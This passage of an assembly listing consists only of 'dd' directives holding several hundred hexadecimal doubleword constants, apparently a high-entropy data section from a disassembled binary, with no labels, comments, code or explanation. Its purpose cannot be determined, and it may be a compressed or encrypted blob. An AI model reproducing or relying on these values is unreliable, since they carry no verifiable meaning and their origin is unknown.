8D0084A6h, 0BA604CADh, 1E02974Ah, 6465DA5Ah dd 527C4970h, 303820h, 0C2B9A876h, 0EDB42E02h, 0B5032277h dd 0E43E549Dh, 4BF13BE8h, 9425A9h, 1AA184F8h, 8C007CBFh dd 9D65BB1h, 28F742h, 0A33EB81Dh, 6CC895D5h, 0C5B93C03h dd 23A56Dh, 135A4FF4h, 0C8835ABh, 8E0FD8F6h, 3A41533h dd 0C0A11B2Dh, 4A32C6h, 38CB3BAAh, 17061461h, 7023D102h dd 43639F4Ch, 0C88790C4h, 31E229h, 3A5618FEh, 97F525ADh dd 8C6A1001h, 0EBB91753h, 4576F8h, 141564CBh, 0B772E6BDh dd 30A5BF00h, 5638221h, 0D4FB0310h, 0A3EDF4D9h, 60AE1FA8h dd 2F06F003h, 80A6675Bh, 0C5CECBh, 5A867492h, 4877EDF7h dd 0A0A20802h, 0E07F1C0Fh, 7021596h, 6EAAC634h, 2D4251A4h dd 0BA0730D5h, 2414300Eh, 803D6EE5h, 959D09EAh, 28A56164h dd 70B7BEFDh, 810143ADh, 0E87A77ADh, 0D0803830h, 0C2E93AF7h dd 37000214h, 1CBFE6DFh, 184A4334h, 88B311CCh, 0D80349FCh dd 583E0B9Eh dd 0F1583CBEh, 7681AF3Bh, 2ED46A41h, 4936E06Ch, 0EB1F6900h dd 7CA9B486h, 0E04026D3h, 77503379h, 0F34320A8h, 5BCE7500h dd 0F201A9F5h, 0A82D07F6h, 30642550h, 5ECC2039h, 8487B20Ch dd 0C4370BFh, 8EC1F7C6h, 630078B8h, 0D5D70DB1h, 7E7BB8h dd 1E48EACEh, 0DF848C15h, 0B045131Dh, 134A040h, 772539Ah dd 998671DDh, 0FB2630E3h, 0DE0037A3h, 94E06016h, 57A91h dd 0D47F7EA9h, 0D7ADB839h, 585EBA26h, 0E56E6000h, 26730668h dd 0FE04007h, 3220FDF8h, 33602151h, 12B44C05h, 5FC0A414h dd 0F0880Dh, 0BCCBC21Ch, 0BD5C34A1h, 0AAE5E118h, 9178D0h dd 5B1A55E2h, 7E82F245h, 0CA849CA9h, 6820988Fh, 85D8F5A7h dd 3B27BC00h, 182F399Ah, 0D66E0F58h, 2A0755BEh, 0AA40DFCAh dd 7197A4CEh, 761D8B2Ch, 66B8E300h, 45791Fh, 3E418FDAh dd 0FD9F1628h, 22A53800h, 0A2711ADEh, 6F76248Bh, 400F00A8h dd 1B6D8A90h, 39900C61h, 1900B8F8h, 28002491h, 0C222610Fh dd 165C9F7h, 6935C75h, 0EC97EDFAh, 2B01322Fh, 44369137h dd 7AE017EAh, 95A000DFh, 0EE1624A9h, 7E0046DCh, 3AA46B1Ah dd 25DF90Ch, 0A0B086F1h, 48408E2Dh, 5C391EBCh, 7151B078h dd 48ED0D66h, 653F0862h, 0E27F9080h, 0DC511391h, 0C697BF18h dd 1560F60h, 83E443D3h, 0D85FED28h, 1A12238Ah, 440F3F51h dd 7191A0B8h, 48D4C82Bh, 2601B0E3h, 5A1BBA97h, 0EF28F5C6h dd 0F46D90E8h, 0AA198B01h, 0C2DB8E06h, 0E44232ECh, 0D8F548DAh dd 0FE0B7E00h, 7CEC4776h, 150F948h, 78753B11h, 8C87EF12h dd 7336FE92h, 0E78855CBh, 0D83E448Ch, 5924269Bh, 384CD600h dd 0ACF597h, 44493E3Bh, 0F6A3546Bh, 29692C07h, 963121C8h dd 68602494h, 0F790006h, 0B8A33882h, 0FF1FC752h, 100DFF7h dd 7569F54h, 3400B541h, 5216BC5h, 8180DD00h, 4A5CA74Fh dd 0C9FB008Dh, 0CE6CD772h, 6800CC7Bh, 6791F5AEh, 9F375E6h dd 1A15DF06h, 0DCC9A080h, 0BD1C5A39h, 0B5C0D428h, 0E0F16488h dd 3C0100FBh, 9ED16108h, 9A00D3CAh, 682DAA3Fh, 7E3714FCh dd 1DDD00BCh, 835D3CA9h, 72008DBAh, 9CBBA58Fh, 8B3B2Fh dd 575330C8h, 0C3F1D3ACh, 724A5A01h, 13A044C0h, 0EF4020h dd 79BE2A2Bh, 2F90E029h, 0AE975800h, 0B4FABD39h, 0D30814B2h dd 100008B9h, 1796777Ch, 5D07071Dh, 6C36292Ch, 0BE0B16A0h dd 0D0200AA9h, 79F4240h, 498AB4AAh, 0BD3ED180h, 20004BF9h dd 9E9D9BEEh, 0B87068A7h, 0C9A01268h, 84884A58h, 7A54028Ch dd 5468DC8Ch, 0DF10827Bh, 1D009628h, 66981AA7h, 20C0A05Fh dd 32F539CBh, 12FE0EF8h, 0A9808150h, 0C3A5887Fh, 497ED730h dd 914675Eh, 0E18A6BE7h, 0DC75000h, 0A8300F2Ah, 91418164h dd 1F3AFA12h, 80551427h, 535D9BD4h, 49C2DF1Ah, 603A299Eh dd 0E9F3A8h, 31497F82h, 216185EBh, 0A4D07928h, 0DE23D01h dd 0B42A442Dh, 839DCh, 881E3706h, 7484C3CFh, 972EA17Fh dd 72002CCAh, 0AFAD46FFh, 357063h, 3E3DFED0h, 0F6706912h dd 0A0E96D2Ch, 91D52F80h, 79C99B0Ch, 0E7A0996h, 0EA00FBACh dd 9858D292h, 1A19AB00h, 637DE277h, 308100BEh, 769EB50h dd 9300D60Ah, 0B0DB910Eh, 0C71C1h, 0C885C7A6h, 397482Eh dd 0C2057F03h, 0D010FBB7h, 7D86A84h, 2C8C51ADh, 29C0DE57h dd 8D3AC75Ch, 0FB356400h, 31464AE8h, 0DE8339E9h, 8F418680h dd 8D0AA84Dh, 662A9307h, 0A740C80Fh, 0B0CD92CFh, 0A5FADEh dd 6B6982DFh, 71547028h, 808AC639h, 44C2E27Ah, 738E3h dd 4DB158B3h, 503AED5Eh, 8017EF39h, 243E5732h, 1D90BDFCh dd 0C0A5D55Dh, 4DB9911Eh, 2D01B152h, 4754F33Bh, 837004E3h dd 81842630h, 99F0349h, 0F7F831A3h, 9900E39Dh, 0B7BA988Dh dd 0D645A8h, 83B39AC9h, 0D5B9AC66h, 0E3CA1100h, 0FE9F10FDh dd 0B8760098h, 0A7C7FCD3h, 0E400BA45h, 1C46E2DBh, 755AF7EAh dd 0C13E000Eh, 3AD72270h, 18161F59h, 1E0F7DB2h, 0FD26A0FBh dd 78FB8D9h, 0DB9B1AE3h, 0B1570065h, 0C4073BF0h, 0D07D82D4h dd 1DF1E7B6h, 1E570569h, 47D700E2h, 0CFE9D388h, 0E1FF8707h dd 0D5C6E3F8h, 744E3F18h, 5C863280h, 0B26E63DBh, 0F9855107h dd 6806CA3h, 90076B93h, 7D8801F1h, 0A84FB8C7h, 0E2688219h dd 626EFFh, 988857D5h, 0E8565301h, 0C65874D1h, 4A7909Eh dd 1E2BF83Bh, 0ACB3CF00h, 297DDA4Fh, 4460BC2Fh, 0CF9B285Dh dd 7702C208h, 0CC8702E7h, 15FA604Ch, 0C6006427h, 4BB01E85h dd 0F1194h, 26D3BFDEh, 76AECE02h, 62F4FB01h, 5AACB0BCh dd 58A399C8h, 5200AA65h, 1D0C6E7Bh, 4E98F2B7h, 16FFC507h dd 682371Ch, 0CCC58053h, 0C01ACF87h, 0C19D42A0h, 4E4CFE39h dd 58C000E4h, 0C5214799h, 978D1DBEh, 16CCC0E0h, 289F0A78h dd 7D983500h, 0EF4BB586h, 7B78D7h, 15CE4AEh, 0EB96B620h dd 1D0E7F00h, 0D994321Ah, 0F5EA009Dh, 139E5B59h, 8AFEB97Ch dd 6700FDF4h, 0DCCBB025h, 3A1A5991h, 8F00A844h, 0B28E7833h dd 0ED5C4311h, 65C7003Ah, 0B62267AFh, 8393025Bh, 0E4FFFDD3h dd 2AE2B4A5h, 6F03EE04h, 0BBF73540h, 9D9470E0h, 3F95B903h dd 93DA302h, 0D81F8828h, 2DA9B00Eh, 0DB7A9480h, 0E8E4073Ch dd 4B03C0F6h, 0C973774Dh, 292921ECh, 90038408h, 0EE4E8464h dd 3944F548h, 9A13C822h, 23F124EDh, 0C4484E2h, 0EFB3445Ch dd 7942FD48h, 4502504h, 44E2AA28h, 2844C1B9h, 6FF444FFh dd 48F07C44h, 0BBA44E45h, 14D80A2Bh, 98838108h, 0E8DF51C1h dd 0FDA13800h, 1A091E8Bh, 3C4E03AAh, 0C5234B28h, 0F0078DB8h dd 0E2C1E000h, 72116077h, 0AD7A0F2Fh, 0C7E076FEh, 30FA7E9h dd 1D944900h, 6457E4D4h, 1AB6004Ch, 4E704A28h, 600066F7h dd 0FCC6D9A4h, 99F20Fh, 4AFD7B44h, 86C402DAh, 13ADD30Ch dd 0C0162863h, 0B4D1247Ch, 0CE00E8EAh, 2D31D840h, 0FE5ED0h dd 4B0699F3h, 0CC08D4F4h, 1AE0E100h, 28D18D47h, 320A3040h dd 960E7C1Ah, 39B40F01h, 0D519BE45h, 20CCF8E1h, 520B0F64h dd 0B760EE78h, 9B5F1A49h, 86DC4D00h, 7A4C174Ah, 0A22A05FFh dd 0C0DEEE60h, 0EF55627Ah, 2D854E00h, 6ADA0F6Dh, 5C4B4D48h dd 62C6AF00h, 585411C4h, 0D000A57Dh, 9FAAED9Eh, 0E3B4BFAh dd 0BEB7237Eh, 49DFFC20h, 0FD00E564h, 8808E0ACh, 0F622B906h dd 0E41B8033h, 6B00127Fh, 13A4C7D8h, 0BB6AD9h, 663A16ABh dd 9CB29EF5h, 0EC29D0Fh, 0EC780041h, 38E9153h, 6AF9FCD6h dd 0A4903D6Dh, 4A02B965h, 5A997A83h, 20A0806Eh, 785473A8h dd 4B822C03h, 57183027h, 59B01219h, 0C3D12D00h, 0C6681FAFh dd 84470F10h, 14000520h, 7E3A12F1h, 0CCC98C00h, 0B2AE26BAh dd 17F416B6h, 52CD0EC2h, 3E749720h, 60002BA1h, 0B63337FDh dd 0B8A46Ah, 487FCE79h, 0F37B89E9h, 8300E6EAh, 8E162CADh dd 1A55738h, 0AF914FC1h, 34ED1395h, 0FF1E8800h, 0BBCAE6h dd 0C3E4EA8Bh, 678A4h, 993E2D9Eh, 8C5CB9DEh, 0DB104A00h dd 0E50C9209h, 94C500C4h, 2526D06h, 8A00FB8Bh, 5DB58FF8h dd 978881h, 0DC114CA1h, 781AF5CCh, 9115F400h, 7A658EF3h dd 6A3B0EC6h, 0FAE99C52h, 0D8626000h, 0C90026F8h, 2ED2C110h dd 0FD98D0h, 95A215C7h, 48E0D8D1h, 29FCF950h, 0FFD71B03h dd 0A0B2B592h, 60C5C3h, 9E8B9785h, 3C7D0ADCh, 54210B67h dd 0F8DD3F63h, 0EC416E2Bh, 713CBAB0h, 4D7000F9h, 9DD72E62h dd 6600EB97h, 0E5965D4Fh dd 0D2F312h, 0E00AAADCh, 3D73466Bh, 0E63AB892h, 4E851CBBh dd 3C00681Eh, 0F9AFE5A1h, 15930752h, 0F0A05082h, 55A99FD7h dd 0D10E3C7Eh, 0C72C537Eh, 0F8E0637Fh, 0E35949h, 0E0FC7710h dd 0AD2BC712h, 0EF00B677h, 8A85863Dh, 38EC681Eh, 8926B836h dd 0C6A1C2Ch, 52606F55h, 0DAC61D1Ch, 9D134500h, 3B506C9h dd 0F6FA0B90h, 0E8074F49h, 6D216214h, 868746D0h, 0FE7700D0h dd 49027CA4h, 7E050A2Ch, 0FD3BB765h, 47A588C0h, 30D80028h dd 0CE5AEE75h, 27001E57h, 3CA48EE7h, 0A0B501D1h, 47A00DF4h dd 86260095h, 0F6ED198Eh, 687C003Fh, 70DEE1A4h, 0A7003166h dd 4B224A3Ah, 3BE6963Eh, 0EAAAB7A1h, 55F2ACh, 7184A575h dd 2966D8B3h, 0C4335101h, 8DF9BFB8h, 0E730BC41h, 500420h dd 6585299Fh, 56B91E4Eh, 9E95DD03h, 817C7A97h, 1180D83Eh dd 5FBF434Ch, 3824FD2Dh, 6004042Ah, 1E075B86h, 0CA7ED058h dd 0F200F372h, 0D1D6A9E5h, 45BDA0Bh, 5F40A38Ch, 403AA173h dd 0DEB8BA34h, 0D80074FEh, 0AC0E6ADDh, 2C3BC81Bh, 83B0292Ah dd 0CA86F09Ah, 0D475A6D8h, 0BE62C501h, 717BA28Ch, 76B8C0h dd 4EFA5CAFh, 0ED1472D5h, 0E8012873h, 0A810C2Ch, 0A8FB64C7h dd 26217645h, 0C3FE2h, 0D5078697h, 3B00A922h, 0AD0F0EE0h dd 750CA545h, 81E961A0h, 65473598h, 81B0FBF8h, 0FF00ED09h dd 0CA8B9355h, 0F7BEA7h, 0D1F97FCDh, 0B31BB8D7h, 960155E8h dd 0F271F6D9h, 3C3753A1h, 0EB00F03Bh, 9ECDE6C9h, 563E2D65h dd 9DF980DAh, 98256850h, 2E78077Ah, 72A31138h, 44C00AFEh dd 9400BD69h, 0C4C5877Fh, 2A3225h, 0D39CCF82h, 6FF90ED2h dd 0D5722F00h, 0FDDA1638h, 0A46138E7h, 37A8C038h, 8EB500FCh dd 6D464770h, 9002FE9h, 21FC4A93h, 7C7E38h, 98DDEA05h dd 37BDED69h, 0FA67AC14h, 89B0988h, 2D6400C9h, 7D583CD5h dd 0C16B1D43h, 2AF54367h, 0D099DBF1h, 53ACC031h, 839C7204h dd 0DBE049B8h, 98B10069h, 4218F09Dh, 0AF0081BFh, 0DC7CB2B3h dd 600A2729h, 0D1F2E861h, 0E4148993h, 7AB04D35h, 5AB8E71Eh dd 847400FEh, 58C0A7EFh, 3020CCCh, 4848B043h, 1E621B0Ch dd 0C5C115Fh, 30B1FC1Fh, 3303EF59h, 7C0F80BFh, 9A2CE807h dd 99FB0014h, 9CCA19ECh, 4E016D51h, 0BA6FDF9Bh, 0E7C96BBBh dd 2C4DBED8h, 40D074B2h, 0D22B45CBh, 8020343Ah, 8F849824h dd 98D03F75h, 0F3E20045h, 503E0B9Bh, 0BF1D0FDCh, 0B1409395h dd 6E9424B2h, 0E4CD0E7Fh, 286F8F0Ch, 49380880h, 0D40023C4h dd 0A6774CF9h, 0EA901E0Dh, 0CE11024Ah, 5525740Ch, 4ECC4840h dd 0E9F52A00h, 8B96DC1Bh, 0AAECED04h, 0D49100EEh, 1F8CC7E2h dd 441E1850h, 7080DDA1h, 0D8B06BF9h, 0E2A600C9h, 76B25187h dd 8913E3CDh, 48019E96h, 0F97DA895h, 3800E022h, 0BAA38290h dd 9C00C6F0h, 2FA5DA13h, 0A78B43h, 0D99DF675h, 76A92EDEh dd 4C3EFC00h, 49546009h, 50F237h, 0BB3D8A27h, 620C0B6Eh dd 5C40E6FDh, 4A002543h, 0C4164928h, 130301h, 0FC59ECB9h dd 86C310DAh, 901A2E8h, 4807CB65h, 6820DBB0h, 0D87100AFh dd 6E49ECC2h, 0AE01C64Eh, 6D0486E1h, 80BBABE5h, 0F4134B00h dd 275F0EE4h, 58B9D4FBh, 34EA9900h, 299B32E6h, 2C40B707h dd 101CC361h, 62400ECFh, 121C9786h, 768CC259h, 5CE33952h dd 9B0E3CB0h, 0ECCB1A00h, 595DF9F6h, 0EBE10002h, 9994DC7Bh dd 0DB30B537h, 0A2DE3016h, 7F98C3E5h, 49B09217h, 9107A671h dd 88621DFFh, 0F8CC6DB3h, 0F6640B5Ah, 4A590114h, 456C8982h dd 0CEA4F87Ah, 3E6A9F00h, 8784028Ah, 0C7EF167Fh, 83AB0FD7h dd 57396400h, 6E0577BAh, 4C720C95h, 0A632FD00h, 1F499F62h dd 1F8483C5h, 136709E3h, 0C9A0080h, 6F00D791h, 0D9FA999h dd 0BFEE277Fh, 2400FD70h, 0BFCC3D17h, 13D7AFFCh, 8BB2D8h dd 6457EDEBh, 0C02E7D44h, 0F1007B92h, 8E8214BEh, 360E00CDh dd 0D3BCC968h, 879C6DAh, 1CADD3Ch, 62EAF0BBh, 68872D06h dd 92C7105Fh, 0B86459A3h, 0D7CAD408h, 4F138037h, 0B866CB53h dd 55D52016h, 2AA72400h, 0EAA994ADh, 3448008Ah, 0DB7A364Eh dd 4B00971Fh, 6AAFB9E9h, 9F8F5Eh, 603805ACh, 135C1229h dd 0C71EFC00h, 0EC6EB2F4h, 4BCF2563h, 0EF20EE40h, 51066000h dd 0A499365Fh, 1C1932CAh, 77638298h, 0AC6211C8h, 0FB306E01h dd 2DB57087h, 4C97F834h, 65004C46h, 3504F87Dh, 8E036151h dd 0B2CA360Dh, 33EAB819h, 14E8EA94h, 0A4E7F531h, 67478805h dd 2EE89041h, 4C058BFBh, 175112D6h, 0C988EB80h, 4C544C1Eh dd 0DDE52503h, 0DFF8455Bh, 0FE1FF991h, 3F54407Fh, 0FCF800DAh dd 19AA7D8Dh, 0E13A004Fh, 0C1DE6511h, 0B83A5C5Dh, 39CF1245h dd 0EFD07000h, 0F19B7Bh, 87A96FF8h, 0D499F3FCh, 27BDCB00h dd 0E058077Dh, 9E210328h, 0A9AA702Ch, 0AD839FF0h, 0D80B7812h dd 40FAE20Bh, 5A726652h, 54640701h, 0F34BC04Ah, 6400D0D1h dd 2DB171BEh, 49C0B39h, 0CA27E676h, 0F131804Eh, 0E8008DCFh dd 2695C4DCh, 99C53A98h, 136B2404h, 96C126Bh, 0E58BD0E8h dd 0D1607090h, 7300207Ch, 0C4E08BFDh, 72F155h, 7785435Dh dd 0C9BBA389h, 8C7A0F00h, 3168A573h, 0E878BEh, 0DFE79196h dd 5B18D0CFh, 17B2B700h, 0F96EC1EBh, 3F7477B5h, 7F8039ADh dd 0BE81838Bh, 0E4001FA2h, 0A73DBCEh, 1CB5134h, 260BA4AFh dd 0F3EDCCFEh, 817A17A1h, 9ED6ACC2h, 0A0644662h, 2EE7397Bh dd 0C80707FCh, 9029375Ch, 1247A28Eh, 0D10009E2h, 0F334DBBh dd 4B2CDE3h, 18A77C52h, 43CCA027h, 0FCB91002h, 0C166F8D0h dd 0BF109A74h, 0D096E534h, 1AA1CE80h, 2B7E447h, 0D3A024A5h dd 0B848E7BAh, 51883970h, 13D5482Ch, 0F985EE01h, 60595E43h dd 0C2001F30h, 12C4CC3Fh, 0CA1B9Bh, 650283DDh, 0D95A8A09h dd 0EA313B05h, 0D080FB69h, 127D93B8h, 0F2444Ah, 9BD1D4A8h dd 0D30E887Ch, 0E77EFB8Eh, 0BF60B766h, 3FC585C2h, 0DE9CB2B8h dd 0DDF38015h, 55AD0BCFh, 0DE62A128h, 64561000h, 1948A342h dd 589A0C97h, 7A38CA80h, 74DE0B00h, 30CCF746h, 0B3DD1D3Dh dd 5BC3C1DAh, 0ECA03C53h, 9B770C33h, 0EB55B100h, 1A72655Eh dd 5C0F0382h, 21D6CD24h, 903CF3F8h, 78FF6801h, 7D515797h dd 927BBC20h, 953A07B4h, 0C05A82F6h, 35077226h, 0C4AB4C00h dd 0FB19DBE6h, 6ABC1F4Dh, 966CB5h, 63390480h, 8C02FC85h dd 76B9278Eh, 2B4EE0A9h, 43B80EEAh, 0F68099F4h, 3A706F5h dd 33456800h, 73939DA2h, 407E1D3Eh, 0F25800D3h, 0B5A12DADh dd 0C9025300h, 0CEEB4431h, 0A0D4012Fh, 0DA2E6246h, 3BC2D86h dd 4AA7E1D9h, 0A2C3F8BBh, 1FD49669h, 874240B4h, 0A69473D1h dd 567238h, 69E692C2h, 7A63154Bh, 0D0590004h, 2CC5D73Ch dd 530012C9h, 0EE79F068h, 0B849BF37h, 175CF4F8h, 0CAE074h dd 35C0ED18h, 0F813C1D9h, 3F00DDA0h, 0D25CC225h, 0BA180EB6h dd 78C0843Eh, 244B9C1h, 0A50F289Eh, 260A89A0h, 40DC44h dd 89B730A4h, 0DD9F9E6Fh, 13645959h, 0AE1DFCC2h, 2D691280h dd 2E4ABF6Eh, 0D48C30h, 2569699h, 2500C334h, 0F545BB3Ah dd 7CE210Fh, 0EA8AF7CDh, 30E3D9DBh, 497141F7h, 48C030EBh dd 28270A00h, 43C50F4Ah, 0A9B51E88h, 8A9C80A2h, 4DD83B4Eh dd 1BE65700h, 0C39BBCD1h, 3068002Fh, 354B127Ch, 83F4A548h dd 3F34885Ch, 0A0E22E24h, 62CECC03h, 34BAC8B5h, 27AB306Ch dd 934A50F8h, 72CCBB54h dd 58A71500h, 0CC972DB6h, 90355451h, 74114D02h, 2670942Ch dd 0D9890000h, 309AF19Fh, 48EFCA02h, 80BB3470h, 0D64F9C4h dd 68A00EDAh, 7F81999Ch, 706BBECDh, 3C081A0Ch, 1B60D9h dd 2DA7B70Ah, 0D505F717h, 0AE71B8B6h, 9ABB6480h, 2B9E0040h dd 0F00DABBFh, 8B036306h, 98CA3972h, 19F1B818h, 1487293h dd 900A2CFBh, 403D43B9h, 1C7140A8h, 1462C405h, 0B4A0D82Dh dd 658800FCh, 90BB58F4h, 0B098A00Dh, 0FAEC9E2Ch, 2C009A13h dd 92DB1E67h, 6DE40088h, 3BCCDCC1h, 745809C5h, 0DAFF0017h dd 7956B554h, 18780AD9h, 2A8E5ABh, 5A4F910Fh, 1E973DE0h dd 7BB05E48h, 0B9E11100h, 3FF2E707h, 286F0E5Bh, 82A064DDh dd 7D33FCA3h, 0F7AACB03h, 0D8DF5C18h, 0F6EDCDEh, 2CDDF94Bh dd 86C2BB43h, 2D0940F0h, 9102477Dh, 0E1585A72h, 0DE00D157h dd 947ADC43h, 91E888C4h, 1D010A01h, 0FEC8EABFh, 0BCD23E28h dd 4A2ACh, 29684C8Ch, 0A401D8ECh, 0C32F9E3Ah, 646C4EDFh dd 0A5F1311Ch, 0BC0FFC00h, 46704F08h, 83685Ch, 26D086FCh dd 1CA028ABh, 309B7F7h, 5C518DB4h, 24614000h, 524BA8F3h dd 0CC4E0763h, 0C0FFF992h, 0D1262AB5h, 0C5A05700h, 0A31505C1h dd 366F24A5h, 0E1490453h, 1E6C8031h, 7B0076B1h, 0F1415198h dd 5F4D96h, 6D10CC13h, 8275ABA8h, 8025E43Ch, 46A5CBBBh dd 0B36EAC8h, 602D4E77h, 92B90D80h, 0BB004378h, 3E052FE4h dd 2C9E1CD0h, 805CC6C1h, 0B78013C2h, 0FC7B190Ch, 49B91700h dd 97B5D422h, 531F12A0h, 50340375h, 1984C9Eh, 51FFF2Dh dd 0F35FB440h, 0CB957EC0h, 0B6BA44h, 0AC07EC5Fh, 43D9400Fh dd 4FA46800h, 0A28DDB0h, 71CB3918h, 0C4997000h, 0F8352C1Ch dd 3F55E800h, 0E9D15BA7h, 0A42D00CCh, 9F21E5A2h, 600041F3h dd 909684ACh, 0AA2A46h, 7BD21F45h, 0F998034Ah, 80210639h dd 77625FE0h, 717EFFBh, 4BEE6EBCh, 977F5003h, 0C2006338h dd 0AAD62AB4h, 0B88F43h, 5426986Ch, 537980DAh, 3F37C1Fh dd 0D321AC40h, 0F613D1ABh, 898C000Ah, 65560993h, 16FC9241h dd 593CA3F6h, 0B6500390h, 81076A29h, 8FC4935Fh, 696B18D9h dd 0F81F421Eh, 720FC200h, 7E64FD49h, 34505ECh, 1BE8BCFh dd 9A1BE494h, 0D840EAFBh, 0D60022C3h, 38A02111h, 0C83E4Dh dd 0E6A572B1h, 67CD0966h, 85399500h, 0CC1DF81h, 0F044000Ah dd 0ADA0159Dh, 540023AEh, 3FE225EFh, 7A6707Bh, 31E8DE7Ch dd 284280CAh, 9600C44Fh, 1B3C0BB2h, 474AAAh, 93862789h dd 5C57012h, 7B8BC300h, 0FDE4AD9Bh, 0ECCF0038h, 4239E20Fh dd 760217ACh, 0B4920333h, 1CFC83B0h, 0A9D10025h, 1E8A8062h dd 0D9033766h, 49CCA5F4h, 516BB8C3h, 0B0F000Eh, 5E89E672h dd 9D007040h, 566E2CC7h, 0F7CF96h, 0E0C9A93Ch, 701AE514h dd 89362200h, 66B20FFBh, 0ED5A0708h, 4018090Ah, 0D9F3EE8h dd 0F3736A01h, 2275FD51h, 7DFBD0h, 0BF60314Ch, 0D477F430h dd 27524900h, 87A1E054h, 0C4E90086h, 2124B438h, 220003D8h dd 3309A71Ah, 77904BC1h, 0F81C00A3h, 9D108ADCh, 8FFA37BCh dd 130FEF0Eh, 0D679E03Ah, 0BDB83Bh, 69983E65h, 8FDBAADEh dd 84617D24h, 0DDEE9100h, 0D355Dh, 29D242B6h, 0B37BD196h dd 40500C00h, 0EA2D8857h, 3C37A97h, 8F4FA669h, 7BAB2FF2h dd 9F2E48D8h, 0CB56F700h, 0FBE615ACh, 0E2C00076h, 9196DC8Fh dd 0EC02454Dh, 3158B15Ah, 0D7B0E019h, 0E4970013h, 1FDDA4D9h dd 5E01A3D6h, 0BA64637h, 81D0F944h, 0F3C0A063h, 0AF9D12F5h dd 579040C7h, 0C52EED87h, 0D2BFCA16h, 25B8FD00h, 0E6BE5DFDh dd 6491603Ah, 1318F6BCh, 3E0DD200h, 0F18F812Bh, 42C0078Eh dd 0D3ABCA02h, 63988B85h, 4000772Fh, 84B28358h, 2E792E8Ch dd 5C2130h, 3BC8FAB8h, 7300FE9Ch, 0FCC1450Eh, 54B901h dd 946A97BCh, 434738F1h, 460AE402h, 0C09087D8h, 0DEECE2h dd 62D17AD4h, 81F62C9Ah, 0EE97300h, 6379B116h, 862B15B2h dd 4006C856h, 0BE32471Eh, 9E264A00h, 0B281CE59h, 84050148h dd 0EA17D4C1h, 8FDDE891h, 0DE909D04h, 9FC002F4h, 2CD3A1h dd 34FAA997h, 5AD90BADh, 423CBA00h, 454AF060h, 15310C04h dd 97716624h, 18921958h, 6010A221h, 45B30023h, 4C7B9CE5h dd 52E88CFFh, 8F18C2E8h, 0E7396503h, 30166FBAh, 4559600h dd 1D00A868h, 78860E06h, 0E8F7AF15h, 4CB8A9h, 583E1330h dd 24690597h, 32CD53Ah, 0F0ACD0A8h, 2338018Eh, 9974552h dd 1C59800Eh, 9299F9F5h, 21056FBDh, 70777C05h, 16E2E148h dd 8056C303h, 0A00ED783h, 18C1D58Ch, 50455A3Eh, 0E8CC3F0Fh dd 685096h, 0CB6E75C8h, 6B992269h, 3AC43D07h, 0C10A359h dd 9BCC19Dh, 0D1BACD2Ch, 60BDB480h, 231C093Eh, 8280447Ah dd 2F259776h, 0AA709567h, 0DF698001h, 0C652F517h, 4ECE40E2h dd 0EBF6007Ah, 38A1730Ah, 0BA03DE1Ch, 0F0D69282h, 3ED480E1h dd 0DB130037h, 2BDFC24Dh, 283943FBh, 0E4858FE9h, 0EA53A08Bh dd 7394262Eh, 12E10051h, 87867FA4h, 39E210D6h, 8480E1Dh dd 3A954DC0h, 76F5ABh, 8209800Dh, 79F1A6D8h, 4F022D00h dd 29A970C0h, 967F71h, 0A6BDC303h, 91CEE044h, 6C7B6112h dd 89ED6700h, 2AC3575Bh, 39B479F9h, 72030BAAh, 1A04344Fh dd 0A06C09A8h, 7A45CF02h, 48A3E15Bh, 1D9E9F24h, 3EE7E019h dd 0D5F8C0D1h, 0FE780711h, 707432C2h, 221B4FD3h, 21466B00h dd 3E8E9352h, 2BA80003h, 10C2BDE3h, 150966BEh, 2013C491h dd 638B4C0Ch, 0C798005Ch, 0C0235ECBh, 0E677C2ADh, 0B95D1500h dd 321A9FDh, 2298E8h, 0EC8A60E0h, 0AF76D513h, 0E1939F00h dd 0E22DF4D8h, 39C758Ch, 51A04F30h, 0C1039DDFh, 0CEFBEB46h dd 66DEC0CDh, 0A7E207DBh, 605831FAh, 60861C51h, 5D237D3Ch dd 0D60E0A04h, 0DF8C9462h, 1E04499Ah, 47D58D5Fh, 0F0BD6A1Fh dd 0CDC6A5A8h, 0CB02EDB8h, 0CE084209h, 0A7D1629Ch, 36D3DA54h dd 20F1007Dh, 0CCBF8AF9h, 9F07E3D6h, 1B3B9134h, 6A70E420h dd 0EDC900C7h, 0DF63A30Eh, 50C05AF5h, 0AA131533h, 994F3898h dd 6B71B600h, 38B83075h, 699A2A00h, 305D1BDh, 0AA5207F9h dd 0B0465F2Dh, 0E1D28ECDh, 781B5B1Fh, 604D26CEh, 0FADBACAFh dd 18A26E95h, 620419E0h, 6B07F03Eh, 7CF2A8D9h, 0C30D9480h dd 25010144h, 0BD2967F8h, 800C71E0h, 0C3196F21h, 0EF985Fh dd 0CE2CAD01h, 2211C94Ah, 0A64DA51Ch, 2B231AC7h, 0AA630751h dd 0CD343983h, 0F4E880FFh, 86EBDD8Ah, 0F02F5B28h, 0B6730F21h dd 69CE37EDh, 0FA8FB038h, 0C1544120h, 31E903A8h, 80D9BAA1h dd 9A3637B9h, 0FBBFD5h, 1DCBA7B6h, 0BDFA24FDh, 5468EC00h dd 695D7FF9h, 1B178B5h, 9F86EA9Dh, 70AF1B5Eh, 6300EE28h dd 31DCC23Ah, 9EB6CFh, 24BC4543h, 34A5B8EDh, 78760200h dd 2A0AB5E0h, 0FCD3015Bh, 94BEF375h, 9EF8EF9Ch, 44F4DF66h dd 0F9A47101h, 0E7F6B486h, 170CD420h, 0FB0B36h, 8D562C38h dd 0A1ECD66h, 877BEB9Bh, 5EF84BBh, 0C9C8C2F0h, 786400EAh dd 47FABE4h, 6AF211DEh, 0FE333401h, 0D2EE9FE8h, 3B15EDCh dd 0F39DECA4h, 0BBA2EF85h, 0BC836060h, 0C8C58100h, 0F0BF5855h dd 0A25B00D5h, 382A92D8h, 880C4F18h, 18D0F2E2h, 7E6C0043h dd 0C7533E17h, 0A500B235h, 0C6C21C9Ah, 0F662B6B1h, 7086FAA9h dd 9E743050h, 67026C80h, 9FCA7E00h, 11DBF38h, 0DF80341h dd 0EF1F2706h, 35FB6007h dd 2AE06F90h, 0E2123862h, 430A3E28h, 0B6BEA800h, 67C9AAF2h dd 85C0CD69h, 885899DDh, 0F03DFFB0h, 1153007Bh, 43181A37h dd 0D76030A6h, 0F7A3A8F0h, 757B002Dh, 6B67E5E9h, 87002E2Ah dd 816128C8h, 0DC912B90h, 6C0CA260h, 0B8DC87A2h, 0F3F00770h dd 0D0BEB9AAh, 9B6842F5h, 5F1060F7h, 8CA82801h, 0D6291BFAh dd 0DBD7C0h, 0BAA4F2CAh, 0E0E9F879h, 53752800h, 0B76A6589h dd 15233D14h, 0C542A9Ch, 